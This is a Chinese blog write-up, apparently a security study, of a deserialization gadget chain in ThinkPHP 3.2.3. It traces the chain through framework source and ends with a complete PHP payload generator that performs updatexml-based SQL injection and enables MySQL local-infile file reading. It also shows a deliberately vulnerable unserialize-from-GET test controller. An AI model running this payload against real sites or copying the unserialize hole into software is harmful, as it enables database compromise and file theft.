thinkPHP3.2.3反序列化漏洞

12 篇文章 1 订阅
4 篇文章 0 订阅

前言

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

利用链:

__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->

搭建:

路径:/Application/Home/Controller/IndexController.class.php

public function index(){
    unserialize(base64_decode($_GET[1]));//加上这一句就行
}

分析

  • 全局搜索function __destruct()按照链子来:
public function __destruct() {
        empty($this->img) || $this->img->destroy();
    }
}

参数是否可控:是

  • 那么追踪function destroy():/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
<?php
namespace Think\Session\Driver;

class Memcache {
	protected $lifeTime     = 3600;
	protected $sessionName  = '';
	protected $handle       = null;
public function destroy($sessID) {
		return $this->handle->delete($this->sessionName.$sessID);
	}

参数是否可控:$handle、$sessionName可控,$sessID不可控

这里注意一点:无参数调用函数在php7中会判错,但是php5不会

  • 那么继续追踪function delete():
<?php
    //只记录关键代码
namespace Think;

class Model {
    protected $db               =   null;
    // 主键名称
    protected $pk               =   'id';  
    // 数据信息
    protected $data             =   array();
	// 查询表达式参数
    protected $options          =   array();
    
public function delete($options=array()) {
        $pk   =  $this->getPk();
        if(empty($options) && empty($this->options['where'])) {
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }
        // 分析表达式
        $options =  $this->_parseOptions($options);
        if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }        
        $result  =    $this->db->delete($options);
        if(false !== $result && is_numeric($result)) {
            $data = array();
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_delete($data,$options);
        }
        // 返回删除记录个数
        return $result;
    }

delete很大,你忍一下:

image-20211007150432119

参数是否可控:$pk、$data、$options可控

看我图中标注的地方,delete在自己玩自己🤷‍♂️,当他玩自己的时候,$option应该就不空了,不然会一直自己玩自己🤦‍♂️,所以进入下一步:

image-20211007152001109

注意第二次调用的delete函数,是调用的db里面的,而db可控吗?“可控”

public function delete($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql    =   'DELETE FROM '.$table;
        if(strpos($table,',')){// 多表删除支持USING和JOIN操作
            if(!empty($options['using'])){
                $sql .= ' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            // 单表删除支持order和limit
            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

有用代码:

public function delete($options=array()) {
        $table  =   $this->parseTable($options['table']);
        $sql    =   'DELETE FROM '.$table;
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

function parseTable函数🐦用没有,所以说可以直接堆叠注入了,这里应该可以看出来吧!!!最后返回值会调用function execute,光看字面意思好像只是判断是否为空,跟踪看看:

 public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

开头直接初始化连接:$this->initConnect(true);,进去看看

protected function initConnect($master=true) {
        if(!empty($this->config['deploy']))
            // 采用分布式数据库
            $this->_linkID = $this->multiConnect($master);
        else
            // 默认单数据库
            if ( !$this->_linkID ) $this->_linkID = $this->connect();
    }

单数据进入else,跟踪function connect()

public function connect($config='',$linkNum=0,$autoConnection=false) {
        if ( !isset($this->linkID[$linkNum]) ) {
            if(empty($config))  $config =   $this->config;
            try{
                if(empty($config['dsn'])) {
                    $config['dsn']  =   $this->parseDsn($config);
                }
                if(version_compare(PHP_VERSION,'5.3.6','<=')){ 
                    // 禁用模拟预处理语句
                    $this->options[PDO::ATTR_EMULATE_PREPARES]  =   false;
                }
                $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
            }catch (\PDOException $e) {
                if($autoConnection){
                    trace($e->getMessage(),'','ERR');
                    return $this->connect($autoConnection,$linkNum);
                }elseif($config['debug']){
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }

这里的作用我是通过名字判断的,也就是连接数据库的作用,应该是需要我们自己初始化数据库

构造POP chain

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();

        }
    }
}


namespace Think\Session\Driver{
    use Think\Model;

    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();

        }
    }

}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
        protected $db=null;

        public function __construct()
        {
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

            );


        }
    }
}


//初始化数据库连接
namespace Think\Db\Driver{
    use PDO;
    class Mysql {

        protected $config     = array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  'localhost', // 服务器地址
            'database'          =>  'thinkphp',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
        );
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
            //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了,开启后可堆叠注入
        );


    }

}


namespace{
    echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}


?>

image-20211007165349107

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值